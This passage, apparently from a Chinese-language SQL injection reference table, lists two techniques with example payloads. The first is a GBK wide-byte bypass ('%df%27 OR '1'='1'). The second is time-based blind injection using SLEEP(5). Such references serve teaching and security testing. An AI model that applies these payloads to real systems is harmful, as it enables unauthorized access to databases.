宽字节绕过 | 利用多字节编码字符重叠 | %df%27 OR '1'='1 | 针对 GBK 等中文编码环境 |
延时注入 | 利用延时函数判断盲注 | AND IF(condition, SLEEP(5),0) | 无需报错,仅靠响应时间判断 |